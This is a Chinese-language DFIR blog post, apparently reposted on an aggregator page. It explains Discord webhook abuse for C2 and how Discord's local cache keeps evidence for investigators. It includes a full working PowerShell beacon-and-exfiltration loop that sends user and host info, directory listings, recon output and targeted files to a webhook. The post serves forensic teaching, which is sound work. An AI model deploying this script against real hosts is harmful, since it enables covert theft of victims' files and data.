当前位置: 首页 > news >正文

网络安全之揭秘APT Discord C2 以及如何取证

Discord 为何吸引攻击者

Discord 之所以成为攻击者青睐的工具,并不是因为它本身恶意,而是因为它是合法且被信任的。它常常逃过安全控制的监测,并提供一些功能,使得在无需用户交互或提升权限的情况下轻松将数据发送出去。我们也在其他协作工具上看到过类似的滥用,例如 Microsoft Teams 和 Slack。在这篇博客中,我们不关注内存取证、网络遥测或主机端日志,而是聚焦于在使用 Discord webhook 进行 C2 和数据外泄时留存在本地缓存中的痕迹。我们没有启动完整的机器人,而是尽量保持简单,仅使用 webhook 将被攻陷主机上的数据推送到 Discord 频道。这与典型的脚本小子行为相符——不用 API 密钥、不需提升权限,只要一个 URL 和一些 PowerShell。

Discord webhook C2

Webhook 本质上就是一个被包装的 URL,允许你将消息和文件直接发送到 Discord 频道,发送到该 URL 的任何内容都会出现在关联的频道中。对于攻击者来说,这很方便,因为它易于设置、不需要任何特殊权限,并且表面上难以察觉。在本例中,我们将该 webhook 配置为攻击者的 C2 服务器,受害者机器上被窃取的信息会发送到该处。

下面是我们的示例 C2 服务器,频道 ptp-beacon 是所有 PowerShell 命令输出将出现的地方。

PowerShell 实战

下面是处理脚本初始化、向主控回传(beaconing)、文件枚举、侦察和数据外泄的 PowerShell 命令。每条命令都通过 PowerShell 发送到我们之前设置的 webhook,随后将结果直接传递到 Discord 服务器:

脚本初始化

# 1. Discord webhook
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
​
# 2. Path to exfiltration target file
$filePath = "$env:USERPROFILE\Documents\SENSITIVE_FILES_HERE"
​
# 3. Create HTTP client and counter
$client = New-Object System.Net.Http.HttpClient
$counter = 0

Beacon 循环

while ($true) {$counter++
​# ─── 1. Beacon ─────────────────────────────────────────────$json = '{"content":"━━━━━━━━━━━━━━━━━━\n:satellite: **Beacon Active**\n```User: ' + $env:USERNAME + '\nHost: ' + $env:COMPUTERNAME + '```"}'$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")$content = New-Object System.Net.Http.MultipartFormDataContent$content.Add($jsonContent, "payload_json")$response = $client.PostAsync($webhook, $content).ResultWrite-Host "Sent beacon at $(Get-Date): $($response.StatusCode)"

文件夹列表

    # ─── 2. Folder Listing (every 2nd beacon) ──────────────────if ($counter % 2 -eq 0) {$userDirs = @("Documents", "Desktop", "Downloads", "Pictures")$folderListing = ""
​foreach ($dir in $userDirs) {$fullPath = Join-Path $env:USERPROFILE $dir$files = Get-ChildItem -Path $fullPath -ErrorAction SilentlyContinue | Select-Object -First 2if ($files) {$folderListing += "`n$dir:`n"$folderListing += ($files | ForEach-Object { " - " + $_.Name }) -join "`n"}}
​$escaped = $folderListing -replace '"', "'" -replace "`r?`n", "\n"$jsonFolders = '{"content":":file_folder: **User Directories**\n━━━━━━━━━━━━━━━━━━\n```' + $escaped + '```"}'$jsonContentFolders = New-Object System.Net.Http.StringContent($jsonFolders, [System.Text.Encoding]::UTF8, "application/json")$contentFolders = New-Object System.Net.Http.MultipartFormDataContent$contentFolders.Add($jsonContentFolders, "payload_json")$respFolders = $client.PostAsync($webhook, $contentFolders).ResultWrite-Host "Uploaded folder listing at $(Get-Date): $($respFolders.StatusCode)"}

目标文件外泄

    # ─── 3. Exfil ptp-exfil.jpg (every 3rd beacon) ─────────────if ($counter % 3 -eq 0 -and (Test-Path $filePath)) {$fileBytes = [System.IO.File]::ReadAllBytes($filePath)$fileContent = New-Object System.Net.Http.ByteArrayContent (, $fileBytes)$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
​$jsonExfil = '{"content":":package: **Targeted Exfil ::topsecret**\n━━━━━━━━━━━━━━━━━━"}'$jsonContentExfil = New-Object System.Net.Http.StringContent($jsonExfil, [System.Text.Encoding]::UTF8, "application/json")$contentExfil = New-Object System.Net.Http.MultipartFormDataContent$contentExfil.Add($jsonContentExfil, "payload_json")$contentExfil.Add($fileContent, "file", "ptp-exfil.jpg")
​$respExfil = $client.PostAsync($webhook, $contentExfil).ResultWrite-Host "Uploaded ptp-exfil.jpg at $(Get-Date): $($respExfil.StatusCode)"}

系统运行时间

    # ─── 4. System Uptime (every 4th beacon) ───────────────────if ($counter % 4 -eq 0) {$uptime = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime$jsonUptime = '{"content":":stopwatch: **System Uptime**\n━━━━━━━━━━━━━━━━━━\n```' + $uptime + '```"}'$jsonContentUptime = New-Object System.Net.Http.StringContent($jsonUptime, [System.Text.Encoding]::UTF8, "application/json")$contentUptime = New-Object System.Net.Http.MultipartFormDataContent$contentUptime.Add($jsonContentUptime, "payload_json")$respUptime = $client.PostAsync($webhook, $contentUptime).ResultWrite-Host "Uploaded uptime at $(Get-Date): $($respUptime.StatusCode)"}

信息转储

    # ─── 5. Recon Dump (every 5th beacon) ──────────────────────if ($counter % 5 -eq 0) {$whoami = whoami$ipconfig = ipconfig | Out-String$reconFile = "$env:TEMP\recon.txt""whoami:: $whoami`r`nIPConfig::`r`n$ipconfig" | Out-File -FilePath $reconFile -Encoding utf8
​$fileBytes = [System.IO.File]::ReadAllBytes($reconFile)$fileContent = New-Object System.Net.Http.ByteArrayContent (, $fileBytes)$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("text/plain")
​$jsonRecon = '{"content":":mag: **Recon Data Attached (whoami + ipconfig)**\n━━━━━━━━━━━━━━━━━━"}'$jsonContentRecon = New-Object System.Net.Http.StringContent($jsonRecon, [System.Text.Encoding]::UTF8, "application/json")$contentRecon = New-Object System.Net.Http.MultipartFormDataContent$contentRecon.Add($jsonContentRecon, "payload_json")$contentRecon.Add($fileContent, "file", "recon.txt")
​$respRecon = $client.PostAsync($webhook, $contentRecon).ResultWrite-Host "Uploaded recon file at $(Get-Date): $($respRecon.StatusCode)"}

进一步外泄

    # ─── 6. Targeted File: confidential.jpg (every 6th beacon) ─if ($counter % 6 -eq 0) {$targetFile = Get-ChildItem -Path $env:USERPROFILE -Recurse -Include confidential.jpg -ErrorAction SilentlyContinue | Select-Object -First 1if ($targetFile) {$fileBytes = [System.IO.File]::ReadAllBytes($targetFile.FullName)$fileContent = New-Object System.Net.Http.ByteArrayContent (, $fileBytes)$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
​$jsonTarget = '{"content":":lock: **Targeted Exfil ::confidential.jpg**\n━━━━━━━━━━━━━━━━━━"}'$jsonContentTarget = New-Object System.Net.Http.StringContent($jsonTarget, [System.Text.Encoding]::UTF8, "application/json")$contentTarget = New-Object System.Net.Http.MultipartFormDataContent$contentTarget.Add($jsonContentTarget, "payload_json")$contentTarget.Add($fileContent, "file", "confidential.jpg")
​$respTarget = $client.PostAsync($webhook, $contentTarget).ResultWrite-Host "Uploaded confidential.jpg at $(Get-Date): $($respTarget.StatusCode)"} else {Write-Host "confidential.jpg not found"}}

休眠间隔

    # ─── Sleep (tweakable beacon interval) ─────────────────────Start-Sleep -Seconds 20
}

现在我们已经展示了滥用 Discord webhook 是多么简单,让我们看看调查人员可以找到哪些遗留的证据。

追踪攻击者活动

下面的片段显示了 PowerShell 在向 webhook 推送数据时的活动日志。这些日志的每一行都确认了发送的内容及时间,因此我们可以看到持续的 beaconing,以便攻击者知道主机处于活动状态。接着上传一些数据、列出目录、记录系统运行时间并生成侦察文件,然后外泄诸如 topsecret.txtconfidential.jpg 等敏感文件。

NoContentOK 响应仅表示 webhook 确认 Discord 已成功接收数据。有了活动日志来确认流量,我们现在可以查看这些输出在 Discord 内部实际上是如何呈现的。

在 Discord 中查看结果

说完这些,让我们看看被外泄到 Discord 的 #ptp-beacon 文本频道中的内容:

看起来确实是一些相当机密的东西!到目前为止,我们已成功获取了一些用户信息、检查了他们的用户目录并窃取了若干敏感文件。但现在,作为攻击者,我们需要掩盖自己的痕迹。

痕迹清除

在我们将数据外泄到 C2 服务器并拿到所需信息后,清除痕迹。我已经删除了 Discord 服务器

Discord 缓存会留下什么

删除服务器并不会抹去一切。受害者机器上的 Discord 缓存会讲述一段完全不同的故事……

Discord 使用 Chromium 的 Simple Cache 格式在本地存储缓存。简单来说,这意味着附件、表情、webhook,甚至一些缩略图的副本会存放在磁盘上的以下路径下:

%AppData%\discord\Cache\Cache_Data

在该目录下,你会发现:

  • index – Simple Cache 索引数据库

  • data_# – 二进制缓存文件,每个文件包含多个缓存对象

  • f_###### – 提取出的二进制对象(图片、附件等)

关键点是持久性:缓存内容通常在 Discord 消息或文件被删除很久之后仍然存在。它们的修改时间戳会与用户活动相对应,因此调查人员可以重建操作发生的准确时间。

缓存结构还可以将文件哈希(SHA256)与威胁情报源进行匹配,以确认是否使用了已知的恶意文件。除了缓存之外,还可以从内存中恢复 webhook URL 和 API 调用。

使用命令行解析器和基于 GUI 的工具自动化缓存分析

虽然存在一些用于解析 Chromium 缓存的开源工具,但我们找不到任何对 Discord 特定工件进行主动维护或定制的工具。为了解决这一问题,我们构建了一个 Discord 取证工具套件:用于取证分析的命令行解析器和基于 GUI 的套件。

这两款工具会递归扫描缓存文件夹并提取与 Discord 相关的工件,例如 webhook URL、附件和缓存图片。

Discord 取证工具:命令行输出

下面展示的是 CLI 的一段摘录,我在其中选择了缓存目录、为报告提供了标题,并选择了报告的输出位置与格式。接着我可以决定报告应包含哪些内容;你想要 CSV 时间线吗?想要包含与 Discord 关联的其他缓存区域吗?是否要启用 carve(以便可能恢复“先前存在”的文件)?是否需要详细输出?

一旦选择了这些选项,我们就可以看到已扫描的文件数量、扫描来源、报告存放位置以及从缓存中提取的工件分类。

Discord 取证工具:GUI 输出

GUI 版本提供了一个简洁、用户友好的界面,内置对缓存图像(包括表情、被外泄的截图和文档)的缩略图预览。该工具允许用户选择 Discord 缓存文件夹,然后在解析数据之前选择所需选项。

报告与恢复的证据

下面是该工具在我们的 PTP C2 Discord 服务器案例中发现并回报的摘要。我们可以看到表情、API 调用、附件、徽标和其他信息,这些都使分析人员能够在不同类型的文件之间进行过滤。

从受害者的角度,他们可能会想知道下面这些图像的来源,但我们确切知道它们来自哪里——那就是威胁行为者的 C2 服务器!

我们要求工具生成一个 CSV 时间线以及 HTML 报告,下面显示的是我们的 CSV 输出片段,我提供了一个片段,展示了一些图像、一个视频以及威胁行为者获取的侦察文本文件,这些全部存储在 Discord 的缓存中,并已按时间顺序被解析出来。

我们还要求工具生成完整的 CSV 报告,连同 HTML 报告和 CSV 时间线一起,下面是一张这些结果的截图,显示了一些被 carve 出来的文件:

回到可点击的 HTML 报告。下面显示被外泄的“confidential”文件,展示了修改日期、文件类型与来源、文件预览、相关哈希值以及文件被恢复的位置。

这些文件会被自动提取并存储在一个 media 文件夹中。

因此,即使威胁行为者已经从主机上外泄了数据并试图掩盖他们的痕迹,通过解析缓存文件夹,分析人员仍然可以恢复大量取证证据,包括被外泄的文件、侦察输出、webhook URL 和 API 调用,所有这些都有助于重建攻击者的活动。

结论

Discord 的合法性和易用性使其成为威胁行为者进行数据外泄或建立轻量级 C2 通道而不引起警觉的有吸引力的选择。因此,作为防御方,我们应当意识到这种便利性也可能被滥用:Discord 的缓存会保留详细的取证记录——图像、附件和 webhook 交互,通常在平台内容被删除很久之后仍然存在。

Discord 会留下遥测数据,可供 DFIR 团队重建攻击者时间线、验证外泄内容并加强归因。

这就是为什么我们开发了 DFS(不是那家沙发公司),而是 Discord Forensic Suite。

分析人员可以快速对主机进行初筛,生成包含哈希和时间戳的 HTML 报告,并将发现打包成证据包以供审查。

工具

https://github.com/jwdfir/discord_cache_parser

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关    

网络安全学习路线/web安全入门/渗透测试实战/红队笔记/黑客入门


感谢各位看官看到这里,欢迎一键三连(点赞+关注+收藏)以及评论区留言,也欢迎查看我主页的个人简介进行咨询哦,我将持续分享精彩内容~

 

http://www.dtcms.com/a/482446.html

相关文章:

  • 第五章 神经网络的优化
  • 网络安全主动防御技术与应用
  • 5. 神经网络的学习
  • 响应式网站页面设计怎么写网站建设推广
  • 2025/10/14 redis断联 没有IPv4地址 (自用)
  • 基于多奥品牌设备的车牌识别系统与电梯门禁联动方案,核心是通过硬件信号对接+软件权限映射实现车辆身份与电梯权限的绑定。以下是具体实施步骤:
  • [Backstage] 前端插件 生命周期 | eg构建“云成本”页面
  • extractNativeLibs属性解刨
  • 实现一个通用的 `clone` 函数:从深拷贝到类型安全的 C++ 模板设计
  • dw做网站基础用友财务软件多少钱一年
  • 高端定制网站建设制作网页制作格式
  • java + vue 实现 AI流式输出(打字机效果)
  • Linux网络:使用TCP实现网络通信(服务端)
  • Python Web开发——WSGI接口
  • 第十章:技术路线:成为“技术扫地僧(1)
  • 苹果软件混淆与 iOS 应用加固实录,从被逆向到 IPA 文件防反编译与无源码混淆解决方案
  • Transformers中从 logits 本质到问答系统中的字符定位机制
  • c++11扩展
  • h1z1注册网站百度app官方下载
  • 阮一峰《TypeScript 教程》学习笔记——基本用法
  • LabVIEW腔衰荡信号在线处理系统
  • 为 AI Agent 行为立“规矩”——字节跳动提出 Jeddak AgentArmor 智能体安全框架
  • Arbess CICD实战(12) - 使用Arbess+GitLab实现React.js项目自动化部署
  • 网站如何做延迟加载店铺图片免费生成
  • 【每日算法C#】爬楼梯问题 LeetCode
  • 网站制作很好 乐云践新二级网站建设情况说明书
  • USDe 脱锚事件全景还原
  • 【运维实践】深入理解 rsync+inotify:实时文件同步技术的原理与实践
  • AI在生产制造过程中的实践分享
  • 建一个优化网站多少钱抖音开放平台官网入口